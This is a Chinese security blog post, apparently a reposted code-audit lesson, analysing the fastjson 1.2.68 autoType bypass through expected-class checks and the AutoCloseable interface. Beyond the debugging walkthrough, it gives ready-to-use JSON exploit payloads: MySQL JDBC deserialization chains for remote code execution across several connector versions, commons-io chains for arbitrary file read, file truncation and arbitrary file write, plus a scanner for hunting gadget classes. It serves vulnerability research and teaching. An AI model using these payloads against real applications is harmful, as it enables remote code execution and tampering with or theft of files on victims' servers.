【创宇小课堂】代码审计-fastjson1.2.68分析

admin 2021年11月29日17:00:00评论223 views字数 22391阅读74分38秒阅读模式


前言

1.2.68有safeMode,但是默认不是开启的,所以还是有风险


分析1

根据网上信息的描述,这次问题点主要是在checkAutoType参数期望类这个地方

【创宇小课堂】代码审计-fastjson1.2.68分析

看看哪些地方会调用checkAutoType方法并使用到期望类这个参数

【创宇小课堂】代码审计-fastjson1.2.68分析

发现主要是2个地方会使用到

  1. com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze
  2. com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer#deserialze
那哪些地方会使用到这两个类的对应的deserialze方法呢?
【创宇小课堂】代码审计-fastjson1.2.68分析
发现这个地方刚好是常规的@type进行checkAutoType检查后进行反序列化的时候会调用到;

先构造反序列化器,也就是说如果我们@type的值对应的类构造的反序列化器是JavaBeanDeserializer或者ThrowableDeserializer,就会触发deserialze,同时有希望触发带有期望类参数的checkAutoType达到我们的目的

总结成一句话就是:寻找怎么才能调用到带有expectClass参数的checkAutoType方法

分析2

那这俩个反序列化器是怎么构造出来的呢?
我们跟一下config.getDeserializer(clazz)
【创宇小课堂】代码审计-fastjson1.2.68分析
重载,经过一系列的各种class的判断,到了这
【创宇小课堂】代码审计-fastjson1.2.68分析
如果clazz是Throwable的子类,那么就返回ThrowableDeserializer

如果所有条件都不满足,那么就会调用createJavaBeanDeserializer去新建JavaBeanDeserializer

跟进新建函数,发现是接口的情况,asmEnable为false,可以创建javaBeanDeserializer对象,否则调用的asmFactory.createJavaBeanDeserializer进行创建,不是我们想要的
【创宇小课堂】代码审计-fastjson1.2.68分析

ThrowableDeserializer

分析


要使用到com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer这个反序列化器,根据上面的分析,那么我们@type传入的就应该是Throwable的子类

所以poc(这里就直接用的他本身了)

因为java.lang.Throwable不在mapping和可信任的map中,所以这里要手动开启autoTypeSupport
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

{"@type":"java.lang.Throwable", "a":"b"}

运行,跟,可以看到这个时候我们的反序列化器deserializer确实是我们预计的ThrowableDeserializer类
【创宇小课堂】代码审计-fastjson1.2.68分析
进入deserialize,然后一直F8,发现payload后续参数满足条件键值对的键是@type,就可以调用带有期望类参数的checkAutoType
【创宇小课堂】代码审计-fastjson1.2.68分析
所以修改一下payload

{"@type":"java.lang.Throwable", "@type":"org.example.App"}

然后跟到刚才的地方
【创宇小课堂】代码审计-fastjson1.2.68分析
key为@type,exClass为我们输入的@type对应的值org.example.App,进入checkAutoType(期望类为Throwable.class,平时一般为null)

通过各种黑白名单的检查,一直到这,loadClass(因为这里开启了autoTypeSupport,所以cacheClass为true)
【创宇小课堂】代码审计-fastjson1.2.68分析
跟进看看,其实就是给它加到mapping中
【创宇小课堂】代码审计-fastjson1.2.68分析
再返回到checkAutoType继续往下,如果传入的clazz是期望类的子类,就通过autoType检查返回clazz
【创宇小课堂】代码审计-fastjson1.2.68分析
也就是说,我们的第二个@type对应的类必须是期望类java.lang.Throwable的子类,我们这里是自己随便写的一个类明显不是Throwable的子类,会抛出异常,所以找一个它的子类改一下payload

{"@type":"java.lang.Throwable", "@type":"java.lang.Error"}

运行到刚才的地方,成功返回clazz
【创宇小课堂】代码审计-fastjson1.2.68分析
如果payload中还有其他的参数,关键参数如message会被用作后续的构造函数的参数等,otherValues就是传入的其他参数,比如"a":"b"这种,在创建实例后会进行setValue操作
【创宇小课堂】代码审计-fastjson1.2.68分析
再往后就是创建一个实例,用上刚才传入的参数啥的
【创宇小课堂】代码审计-fastjson1.2.68分析
跟进就是通过反射获取构造函数再创建实例
【创宇小课堂】代码审计-fastjson1.2.68分析
有参数的情况下会执行setValue操作,也就是会调用setXXX方法
【创宇小课堂】代码审计-fastjson1.2.68分析

利用


通过上述的分析,开启ast的情况下,如果我们能找到一个java.lang.Throwable的子类,且其的setter或者getter能执行危险操作,就有可利用的嫌疑

  1. 限定了可以利用的类必须是Throwable的子类,不过异常类很少使用高危函数。。。所以很鸡肋吧
  2. 需要开启AST,更鸡肋了,随便找个不在黑名单的类都可以利用了
举个例子:
  • 恶意类

package org.example;
import lombok.Data;

@Data

public class User extends Error{

   private String test;

   public void setTest(String test) {

       System.out.println("call setTest");

       System.out.println("test value: " + test);

       this.test = test;

   }

}

  • payload

{"@type":"java.lang.Throwable", "@type":"org.example.User", "test":"hahahaha"}

【创宇小课堂】代码审计-fastjson1.2.68分析

JavaBeanDeserializer

分析

在获取反序列化器的时候,如果是一个接口,且里面所有的判断都不满足,就会返回JavaBeanDeserializer

我们随便创建一个接口

package org.example;
public interface Test {

}

payload

{"@type":"org.example.Test", "test":"hahahaha"}

运行,一直到获取了反序列化器进行反序列化
【创宇小课堂】代码审计-fastjson1.2.68分析
跟进,看看里面的判断条件,一阵F8后,看到了熟悉的东西
【创宇小课堂】代码审计-fastjson1.2.68分析
也就是说和刚才那个一样,还得需要一个@type,修改payload

{"@type":"org.example.Test", "@type":"org.example.Test1", "test":"hahahaha"}

熟悉的味道
【创宇小课堂】代码审计-fastjson1.2.68分析
往下,进入checkAutoType,expectClass为我们传入的第一个接口
【创宇小课堂】代码审计-fastjson1.2.68分析
又一直F8,来到了熟悉的地方,loadClass,给我们的传入的第二个@type的类加入到mapping中
【创宇小课堂】代码审计-fastjson1.2.68分析
再往后,这几行基本杜绝了JNDI注入的风险
【创宇小课堂】代码审计-fastjson1.2.68分析
再继续往下,clazz必须是expectClass的子类,和上面那个类似
【创宇小课堂】代码审计-fastjson1.2.68分析
我们把接口Test1变成Test的子类,然后继续
通过验证,ok,返回clazz
【创宇小课堂】代码审计-fastjson1.2.68分析
返回就是常规的setValue了

利用


和上面那个差不多一样,只不过这个应用更广泛,只需要找一个接口,然后找一个实现了这个接口的类,类中有可以利用的点即可;最好是可以绕过autoTypeSupport
于是大佬们找到了java.lang.AutoCloseable这个接口,这个接口位于默认的mapping中,有很多子类,不开启autoTypeSupport也可以用(大佬们真牛)
本地先测试下,证明我们的猜想是不是正确的,编写个恶意的类,实现java.lang.AutoCloseable接口

package org.example;
public class User implements AutoCloseable{

   private String test;

   public void setTest(String test) {

       System.out.println("call setTest");

       System.out.println("test value: " + test);

       this.test = test;

   }

   @Override

   public void close() throws Exception {

   }

}

payload(不开启autoTypeSupport)

{"@type":"java.lang.AutoCloseable", "@type":"org.example.User", "test":"hahahaha"}

Bingo!!!
【创宇小课堂】代码审计-fastjson1.2.68分析

AutoCloseable深入使用

小知识1

fastjson除了使用setXXX的方法赋值外,也可以直接对构造函数进行传值反序列为对象,比如

public User(String test){
   System.out.println(test);

}

可以通过下面的json来实现赋值,这也是后面payload用到的一个点

{
"@type":"org.example.User",

   "test": "123123"

}

小知识2

在分析过程中,反序列化操作时,我们还发现存在一个key $ref,
【创宇小课堂】代码审计-fastjson1.2.68分析
这个$ref参数的作用是什么呢?简单来说就是从其他地方获取一个对象当作参数传进去,有兴趣的小伙伴可以自己跟一下,我跟过一次了就不再重复了
引用
描述
"$ref":".."
上一级
"$ref":"@"
当前对象,也就是自引用
"$ref":"$"
根对象
"$ref":"$.children.0"
基于路径的引用,相当于 root.getChildren().get(0)
举个例子(把User类对象当成参数传到T类中)
  • org.example.User

package org.example;
public class User implements AutoCloseable{

   private String test;

   public void setTest(String test) {

       System.out.println("call setTest");

       System.out.println("test value: " + test);

       this.test = test;

   }

   public String getTest() {

       return test;

   }

   @Override

   public void close() throws Exception {

   }

}

  • org.example.T

package org.example;
public class T implements AutoCloseable{

   private User user;

   public void setUser(User user) {

       System.out.println("call setUser");

       this.user = user;

   }

   public User getUser() {

       return user;

   }

   @Override

   public void close() throws Exception {

   }

}

  • poc

{
   "user":

   {

       "@type":"java.lang.AutoCloseable",

       "@type": "org.example.User",

       "test": "test666"

   },

   "t":

   {

       "@type":"java.lang.AutoCloseable",

       "@type": "org.example.T",

       "user":{

           "$ref": "$.user"

       }

   }

}

运行poc,T类在执行setUser操作时,传入的参数为前面参数user实例化的类User,结果如下

call setTest
test value: test666

call setUser

{"t":{"user":{"test":"test666"}},"user":{"$ref":"$.t.user"}}

好坑


网上流传一个简单的Payload,没有就创建文件,有就置空文件内容

{
   '@type':"java.lang.AutoCloseable",

   '@type':'java.io.FileWriter',

   'file':'/tmp/nonexist',

   'append':false

}

给file改成自己的路径,但是我各种测试,发现有问题,一直报错

Exception in thread "main" com.alibaba.fastjson.JSONException: default constructor not found. class java.io.FileWriter

然后跟着一顿调试,发现是com.alibaba.fastjson.util.ASMUtils#lookupParameterNames这里面的问题,不能获取到FileWriter构造函数的参数名,但是又没有public FileWriter(){}这个构造函数,所以不能生成实例会报错。。。
【创宇小课堂】代码审计-fastjson1.2.68分析
自己写一个构造函数,然后尝试去反序列化,发现又可以获取到构造函数的参数名。。。
  • Org.example.User

package org.example;
public class User implements AutoCloseable{

   public User(String file){

       System.out.println(file);

   }

   public User( String file, boolean append){

       System.out.println(append);

       System.out.println(file);

   }

   @Override

   public void close() throws Exception {

   }

}

  • payload

{
   '@type':"java.lang.AutoCloseable",

   '@type':'org.example.User',

   'file':'/tmp/test.txt',

   'append':false

}


【创宇小课堂】代码审计-fastjson1.2.68分析
然后经过各种查资料,发现 https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg 中有说这个问题
总结一下就是:
  • fastjson检查不到FileWriter的构造函数参数的参数名,所以不知道你调用构造函数中需要传入的参数名是什么,就不能生成对象
  • 只有当这个类 class 字节码带有调试信息且其中包含有变量信息时才会有类构造函数的参数的参数名信息。。。
可以通过如下命令来检查,如果有输出 LocalVariableTable,则证明其 class 字节码里的构造函数参数包含有参数名信息:

javap -l <class_name> | grep LocalVariableTable

  • 看下我自己写的能识别到构造函数参数的参数名的User类,确实有参数名在里面
【创宇小课堂】代码审计-fastjson1.2.68分析
  • 看下FileWriter类,确实没得参数名。。。
【创宇小课堂】代码审计-fastjson1.2.68分析

知识点3


通过分析发现,不是所有的构造函数的参数名都可以使用,而是第一个 参数名最多 的构造函数中的参数名才可以使用,

比如org.apache.commons.io.output.FileWriterWithEncoding,同时有public FileWriterWithEncoding(File file, CharsetEncoder encoding, boolean append) 和 public FileWriterWithEncoding(String filename, CharsetEncoder encoding, boolean append)2个3参数名的构造函数,fastjson在识别到file encoding append这3个参数名后,后续就算识别到filename encoding append也会跳过参数名更新,所以不能用filename作为参数,只能使用file。。。

根据fastjson的识别机制,具体原因是因为:
【创宇小课堂】代码审计-fastjson1.2.68分析

利用链挖掘


AutoCloseable接口位于java.lang包下,从JDK1.7开始引入,java的io流间接性的可以自动关闭接口,也就是说从jdk1.7开始,不需要手动去关流。

所以我们关注的一些包主要是进行流操作的包,从他的子类或者实现类也可以看出来。
【创宇小课堂】代码审计-fastjson1.2.68分析
整理一下我的盲挖掘的思路:(不是那么专业,大佬见谅)
  1. 获取一个包下所有的类
  2. 看看这些类是不是继承的AutoCloseable这个接口,使用isAssignableFrom()方法来判断
  3. 看看这些类的构造函数能否获取到参数名,或者有不有setXXX的方法
  4. 手动分析能否利用,看看构造函数或者setXXX函数中有不有可以利用的地方
这里也用大佬们挖过的commons-io为例吧
Pom.xml
  • 需要其他的包按需添加

<!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
   <dependency>

     <groupId>com.alibaba</groupId>

     <artifactId>fastjson</artifactId>

     <version>1.2.68</version>

   </dependency>

<!--    获取所有子类方法所需要的依赖-->

<!--    来源:https://zhuanlan.zhihu.com/p/355050724-->

   <dependency>

     <groupId>org.springframework</groupId>

     <artifactId>spring-webmvc</artifactId>

     <version>5.1.6.RELEASE</version>

   </dependency>

盲搜索代码

package org.example;
import com.alibaba.fastjson.util.ASMUtils;

import org.springframework.core.io.Resource;

import org.springframework.core.io.support.PathMatchingResourcePatternResolver;

import org.springframework.core.type.classreading.SimpleMetadataReaderFactory;

import java.io.IOException;

import java.lang.reflect.Constructor;

import java.lang.reflect.Method;

import java.util.Arrays;

public class App {

   public static void main(String[] args) throws IOException, ClassNotFoundException {

       Class<?> aClass = Class.forName("java.lang.AutoCloseable"); // 超类

       PathMatchingResourcePatternResolver resolver = new PathMatchingResourcePatternResolver();

       // 1.加载資源    classpath*:com/hadluo/**/*.class : 找环境变量下的 org/apache/commons/io下的 所有.class文件

       Resource[] resources = resolver.getResources("classpath*:org/apache/commons/io/**/*.class");

       for (Resource res : resources) {

           // 先获取resource的元信息,然后获取class元信息,最后得到 class 全路径

           String clsName = new SimpleMetadataReaderFactory().getMetadataReader(res).getClassMetadata().getClassName();

           // 2. 通过名称加载类

           Class tmpClass = Class.forName(clsName);

           // 3. 判断是不是 aClass 的子类

           if (aClass.isAssignableFrom(tmpClass)) {

               // 4. 判断能否识别构造函数参数名,直接copy的fastjson里面的代码

               Constructor<?> creatorConstructor = null; // 构造函数

               String[] paramNames = null; // 存放所有参数,只有这个构造函数的参数名会使用,其他的构造函数都不能用,参考com.alibaba.fastjson.util.JavaBeanInfo.build(java.lang.Class<?>, java.lang.reflect.Type, com.alibaba.fastjson.PropertyNamingStrategy, boolean, boolean, boolean)里面的逻辑(知识点3)

               Constructor[] constructors = tmpClass.getDeclaredConstructors();

               for (Constructor constructor : constructors) {

                   String[] lookupParameterNames = ASMUtils.lookupParameterNames(constructor);

                   if (lookupParameterNames == null || lookupParameterNames.length == 0) {

                       continue;

                   }

                   if (creatorConstructor != null

                           && paramNames != null && lookupParameterNames.length <= paramNames.length) {

                       continue;

                   }

                   paramNames = lookupParameterNames;

                   creatorConstructor = constructor;

               }

               if (paramNames != null) {

                   System.out.println("构造函数可用:" + creatorConstructor + " <== 可用参数名:" + Arrays.toString(paramNames));

               }

               // 5. 判断是否有setXXX方法

               Method[] declaredMethods = tmpClass.getDeclaredMethods();

               for (Method method : declaredMethods) {

                   if (method.getName().startsWith("set")) {

                       System.out.println("setXXX可用:" + method);

                   }

               }

           }

       }

   }

}

运行看看哪些类可能可以用

构造函数可用:public org.apache.commons.io.input.AutoCloseInputStream(java.io.InputStream) <== 可用参数名:[in]
构造函数可用:public org.apache.commons.io.input.BOMInputStream(java.io.InputStream,boolean,org.apache.commons.io.ByteOrderMark[]) <== 可用参数名:[delegate, include, boms]

构造函数可用:public org.apache.commons.io.input.BoundedInputStream(java.io.InputStream,long) <== 可用参数名:[in, size]

setXXX可用:public void org.apache.commons.io.input.BoundedInputStream.setPropagateClose(boolean)

构造函数可用:public org.apache.commons.io.input.BrokenInputStream(java.io.IOException) <== 可用参数名:[exception]

构造函数可用:public org.apache.commons.io.input.CharSequenceInputStream(java.lang.CharSequence,java.lang.String,int) <== 可用参数名:[s, charset, bufferSize]

构造函数可用:public org.apache.commons.io.input.CharSequenceReader(java.lang.CharSequence) <== 可用参数名:[charSequence]

构造函数可用:public org.apache.commons.io.input.ClassLoaderObjectInputStream(java.lang.ClassLoader,java.io.InputStream) throws java.io.IOException,java.io.StreamCorruptedException <== 可用参数名:[classLoader, inputStream]

构造函数可用:public org.apache.commons.io.input.CloseShieldInputStream(java.io.InputStream) <== 可用参数名:[in]

构造函数可用:public org.apache.commons.io.input.CountingInputStream(java.io.InputStream) <== 可用参数名:[in]

构造函数可用:public org.apache.commons.io.input.NullInputStream(long,boolean,boolean) <== 可用参数名:[size, markSupported, throwEofException]

构造函数可用:public org.apache.commons.io.input.NullReader(long,boolean,boolean) <== 可用参数名:[size, markSupported, throwEofException]

构造函数可用:public org.apache.commons.io.input.ProxyInputStream(java.io.InputStream) <== 可用参数名:[proxy]

构造函数可用:public org.apache.commons.io.input.ProxyReader(java.io.Reader) <== 可用参数名:[proxy]

构造函数可用:public org.apache.commons.io.input.ReaderInputStream(java.io.Reader,java.lang.String,int) <== 可用参数名:[reader, charsetName, bufferSize]

构造函数可用:public org.apache.commons.io.input.ReversedLinesFileReader(java.io.File,int,java.lang.String) throws java.io.IOException <== 可用参数名:[file, blockSize, encoding]

构造函数可用:public org.apache.commons.io.input.SwappedDataInputStream(java.io.InputStream) <== 可用参数名:[input]

构造函数可用:public org.apache.commons.io.input.TaggedInputStream(java.io.InputStream) <== 可用参数名:[proxy]

构造函数可用:public org.apache.commons.io.input.TeeInputStream(java.io.InputStream,java.io.OutputStream,boolean) <== 可用参数名:[input, branch, closeBranch]

构造函数可用:public org.apache.commons.io.input.XmlStreamReader(java.io.InputStream,java.lang.String,boolean,java.lang.String) throws java.io.IOException <== 可用参数名:[is, httpContentType, lenient, defaultEncoding]

构造函数可用:public org.apache.commons.io.output.BrokenOutputStream(java.io.IOException) <== 可用参数名:[exception]

构造函数可用:public org.apache.commons.io.output.ByteArrayOutputStream(int) <== 可用参数名:[size]

构造函数可用:public org.apache.commons.io.output.CloseShieldOutputStream(java.io.OutputStream) <== 可用参数名:[out]

构造函数可用:public org.apache.commons.io.output.CountingOutputStream(java.io.OutputStream) <== 可用参数名:[out]

构造函数可用:private org.apache.commons.io.output.DeferredFileOutputStream(int,java.io.File,java.lang.String,java.lang.String,java.io.File) <== 可用参数名:[threshold, outputFile, prefix, suffix, directory]

构造函数可用:public org.apache.commons.io.output.FileWriterWithEncoding(java.io.File,java.lang.String,boolean) throws java.io.IOException <== 可用参数名:[file, encoding, append]

构造函数可用:public org.apache.commons.io.output.LockableFileWriter(java.io.File,java.nio.charset.Charset,boolean,java.lang.String) throws java.io.IOException <== 可用参数名:[file, encoding, append, lockDir]

构造函数可用:public org.apache.commons.io.output.ProxyOutputStream(java.io.OutputStream) <== 可用参数名:[proxy]

构造函数可用:public org.apache.commons.io.output.ProxyWriter(java.io.Writer) <== 可用参数名:[proxy]

构造函数可用:public org.apache.commons.io.output.StringBuilderWriter(java.lang.StringBuilder) <== 可用参数名:[builder]

构造函数可用:public org.apache.commons.io.output.TaggedOutputStream(java.io.OutputStream) <== 可用参数名:[proxy]

构造函数可用:public org.apache.commons.io.output.TeeOutputStream(java.io.OutputStream,java.io.OutputStream) <== 可用参数名:[out, branch]

构造函数可用:

public org.apache.commons.io.output.ThresholdingOutputStream(int) <== 可用参数名:[threshold]

构造函数可用:public org.apache.commons.io.output.WriterOutputStream(java.io.Writer,java.nio.charset.CharsetDecoder,int,boolean) <== 可用参数名:[writer, decoder, bufferSize, writeImmediately]

构造函数可用:

public org.apache.commons.io.output.XmlStreamWriter(java.io.File,java.lang.String) throws java.io.FileNotFoundException <== 可用参数名:[file, defaultEncoding]

任意文件写入参考:https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg
我这里就不赘述了,贴个简单的,文件新建或者置空
用org.apache.commons.io.output.FileWriterWithEncoding这个类
【创宇小课堂】代码审计-fastjson1.2.68分析
跟一下initWriter,当append为false时,如果文件存在,就置空,不存在就新建
【创宇小课堂】代码审计-fastjson1.2.68分析
试试,POC

{
   "置空":{

       "@type":"java.lang.AutoCloseable",

       "@type": "org.apache.commons.io.output.FileWriterWithEncoding",

       "file": "/Users/d4m1ts/Downloads/a.txt",

       "encoding": "UTF-8"

       },

   "新建":{

       "@type":"java.lang.AutoCloseable",

       "@type": "org.apache.commons.io.output.FileWriterWithEncoding",

       "file": "/Users/d4m1ts/Downloads/b.txt",

       "encoding": "UTF-8"

       }

}

【创宇小课堂】代码审计-fastjson1.2.68分析

链利用

Mysql JDBC RCE

搭配使用 https://github.com/fnmsd/MySQL_Fake_Server
【创宇小课堂】代码审计-fastjson1.2.68分析

mysql 5.1.x >= 5.1.11

5.1.11及以上的5.x版本
所需依赖

<!-- https://mvnrepository.com/artifact/mysql/mysql-connector-java -->
   <dependency>

     <groupId>mysql</groupId>

     <artifactId>mysql-connector-java</artifactId>

     <version>5.1.11</version>

   </dependency>

   <dependency>

     <groupId>commons-collections</groupId>

     <artifactId>commons-collections</artifactId>

     <version>3.1</version>

   </dependency>

Payload

{

   "@type":"java.lang.AutoCloseable",

   "@type": "com.mysql.jdbc.JDBC4Connection",

   "hostToConnectTo": "127.0.0.1",

   "portToConnectTo": 3306,

   "info":

   {

       "user": "CommonsCollections5", // 利用链,自己在MySQL_Fake_Server的conf里面改,具体看他的readme

       "password": "pass",

       "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",

       "autoDeserialize": "true",

       "NUM_HOSTS": "1"

   },

   "databaseToConnectTo": "dbname",

   "url": ""

}

效果
【创宇小课堂】代码审计-fastjson1.2.68分析
【创宇小课堂】代码审计-fastjson1.2.68分析

Mysqlconnector 6.0.2 or 6.0.3

所需依赖

<dependency>
     <groupId>mysql</groupId>

     <artifactId>mysql-connector-java</artifactId>

     <version>6.0.2</version>

   </dependency>

Payload

{

   "@type":"java.lang.AutoCloseable",

   "@type": "com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection",

   "proxy":

   {

       "connectionString":

       {

           "url": "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=CommonsCollections5"

       }

   }

}

效果
【创宇小课堂】代码审计-fastjson1.2.68分析

Mysqlconnector 6.x or < 8.0.20

所需依赖

<!-- https://mvnrepository.com/artifact/mysql/mysql-connector-java -->
   <dependency>

     <groupId>mysql</groupId>

     <artifactId>mysql-connector-java</artifactId>

     <version>8.0.19</version>

   </dependency>

Payload

{
   "@type":"java.lang.AutoCloseable",

   "@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",

   "proxy":

   {

       "@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",

       "connectionUrl":

       {

           "@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl",

           "masters":

           [

               {

                   "host": "127.0.0.1"

               }

           ],

           "slaves":

           [],

           "properties":

           {

               "host": "127.0.0.1",

               "user": "CommonsCollections5",

               "dbname": "dbname",

               "password": "pass",

               "queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",

               "autoDeserialize": "true"

           }

       }

   }

}

效果
【创宇小课堂】代码审计-fastjson1.2.68分析

commons-io文件读取

所需依赖

<!-- https://mvnrepository.com/artifact/commons-io/commons-io -->
   <dependency>

     <groupId>commons-io</groupId>

     <artifactId>commons-io</artifactId>

     <version>2.4</version>

   </dependency>

Payload

{
   "abc": {

       "@type": "java.lang.AutoCloseable",

       "@type": "org.apache.commons.io.input.BOMInputStream",

       "delegate": {

           "@type": "org.apache.commons.io.input.ReaderInputStream",

           "reader": {

               "@type": "jdk.nashorn.api.scripting.URLReader",

               "url": "file:///Users/d4m1ts/Downloads/a.txt"

           },

           "charsetName": "UTF-8",

           "bufferSize": 1024

       },

       "boms": [{

           "charsetName": "UTF-8",

           "bytes": [49] // 如果读出来的第一个字节是49,就返回,否则返回空

       }]

   },

   "address": {

       "$ref": "$.abc.BOM"

   }

}

{

   "abc": {

       "@type": "java.lang.AutoCloseable",

       "@type": "org.apache.commons.io.input.BOMInputStream",

       "delegate": {

           "@type": "org.apache.commons.io.input.ReaderInputStream",

           "reader": {

               "@type": "jdk.nashorn.api.scripting.URLReader",

               "url": "file:///Users/d4m1ts/Downloads/a.txt"

           },

           "charsetName": "UTF-8",

           "bufferSize": 1024

       },

       "boms": [{

           "charsetName": "UTF-8",

           "bytes": [49,50] // 如果读出来的第一个字节是49,第二个字节是50,就返回,否则返回空

       }]

   },

   "address": {

       "$ref": "$.abc.BOM"

   }

}

效果
【创宇小课堂】代码审计-fastjson1.2.68分析
【创宇小课堂】代码审计-fastjson1.2.68分析

commons-io2.x文件写入

注意事项:写入内容的长度必须要>8192,不然会失败;实际写入的内容只有前8192个字符,后面的不会写入

commons-io 2.0 - 2.6 版本

{
 "x":{

   "@type":"com.alibaba.fastjson.JSONObject",

   "input":{

     "@type":"java.lang.AutoCloseable",

     "@type":"org.apache.commons.io.input.ReaderInputStream",

     "reader":{

       "@type":"org.apache.commons.io.input.CharSequenceReader",

       "charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)"

     },

     "charsetName":"UTF-8",

     "bufferSize":1024

   },

   "branch":{

     "@type":"java.lang.AutoCloseable",

     "@type":"org.apache.commons.io.output.WriterOutputStream",

     "writer":{

       "@type":"org.apache.commons.io.output.FileWriterWithEncoding",

       "file":"/tmp/pwned",

       "encoding":"UTF-8",

       "append": false

     },

     "charsetName":"UTF-8",

     "bufferSize": 1024,

     "writeImmediately": true

   },

   "trigger":{

     "@type":"java.lang.AutoCloseable",

     "@type":"org.apache.commons.io.input.XmlStreamReader",

     "is":{

       "@type":"org.apache.commons.io.input.TeeInputStream",

       "input":{

         "$ref":"$.input"

       },

       "branch":{

         "$ref":"$.branch"

       },

       "closeBranch": true

     },

     "httpContentType":"text/xml",

     "lenient":false,

     "defaultEncoding":"UTF-8"

   },

   "trigger2":{

     "@type":"java.lang.AutoCloseable",

     "@type":"org.apache.commons.io.input.XmlStreamReader",

     "is":{

       "@type":"org.apache.commons.io.input.TeeInputStream",

       "input":{

         "$ref":"$.input"

       },

       "branch":{

         "$ref":"$.branch"

       },

       "closeBranch": true

     },

     "httpContentType":"text/xml",

     "lenient":false,

     "defaultEncoding":"UTF-8"

   },

   "trigger3":{

     "@type":"java.lang.AutoCloseable",

     "@type":"org.apache.commons.io.input.XmlStreamReader",

     "is":{

       "@type":"org.apache.commons.io.input.TeeInputStream",

       "input":{

         "$ref":"$.input"

       },

       "branch":{

         "$ref":"$.branch"

       },

       "closeBranch": true

     },

     "httpContentType":"text/xml",

     "lenient":false,

     "defaultEncoding":"UTF-8"

   }

 }

}

commons-io 2.7 - 2.8.0 版本:

{
 "x":{

   "@type":"com.alibaba.fastjson.JSONObject",

   "input":{

     "@type":"java.lang.AutoCloseable",

     "@type":"org.apache.commons.io.input.ReaderInputStream",

     "reader":{

       "@type":"org.apache.commons.io.input.CharSequenceReader",

       "charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)",

       "start":0,

       "end":2147483647

     },

     "charsetName":"UTF-8",

     "bufferSize":1024

   },

   "branch":{

     "@type":"java.lang.AutoCloseable",

     "@type":"org.apache.commons.io.output.WriterOutputStream",

     "writer":{

       "@type":"org.apache.commons.io.output.FileWriterWithEncoding",

       "file":"/tmp/pwned",

       "charsetName":"UTF-8",

       "append": false

     },

     "charsetName":"UTF-8",

     "bufferSize": 1024,

     "writeImmediately": true

   },

   "trigger":{

     "@type":"java.lang.AutoCloseable",

     "@type":"org.apache.commons.io.input.XmlStreamReader",

     "inputStream":{

       "@type":"org.apache.commons.io.input.TeeInputStream",

       "input":{

         "$ref":"$.input"

       },

       "branch":{

         "$ref":"$.branch"

       },

       "closeBranch": true

     },

     "httpContentType":"text/xml",

     "lenient":false,

     "defaultEncoding":"UTF-8"

   },

   "trigger2":{

     "@type":"java.lang.AutoCloseable",

     "@type":"org.apache.commons.io.input.XmlStreamReader",

     "inputStream":{

       "@type":"org.apache.commons.io.input.TeeInputStream",

       "input":{

         "$ref":"$.input"

       },

       "branch":{

         "$ref":"$.branch"

       },

       "closeBranch": true

     },

     "httpContentType":"text/xml",

     "lenient":false,

     "defaultEncoding":"UTF-8"

   },

   "trigger3":{

     "@type":"java.lang.AutoCloseable",

     "@type":"org.apache.commons.io.input.XmlStreamReader",

     "inputStream":{

       "@type":"org.apache.commons.io.input.TeeInputStream",

       "input":{

         "$ref":"$.input"

       },

       "branch":{

         "$ref":"$.branch"

       },

       "closeBranch": true

     },

     "httpContentType":"text/xml",

     "lenient":false,

     "defaultEncoding":"UTF-8"

   }

 }

效果
【创宇小课堂】代码审计-fastjson1.2.68分析
【创宇小课堂】代码审计-fastjson1.2.68分析

总结

总结一下,首先要可以调用带有期望类参数的checkAutoType函数,然后payload第一个类是期望类,第二个类要继承第一个类,这样就可以直接被添加到内部mapping中,然后传入恶意的参数构造利用即可

但是因为checkAutoType代码限制,JNDI注入的类基本都被拦截了,绕不过还

参考链接

【创宇小课堂】代码审计-fastjson1.2.68分析
【创宇小课堂】代码审计-fastjson1.2.68分析

相关推荐: 代码审计系列第二节——SQL注入

通过第一节给大家简单介绍了一下代码审计简单使用,那么第二节,我们来介绍一下,利用工具和手工进行漏洞挖掘。为了大家能对sql注入有更好的学习和收获。推荐大家几个学习php基础的网站Imooc.com http://www.w3school.com.cn/php/…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年11月29日17:00:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【创宇小课堂】代码审计-fastjson1.2.68分析http://cn-sec.com/archives/653378.html

发表评论

匿名网友 填写信息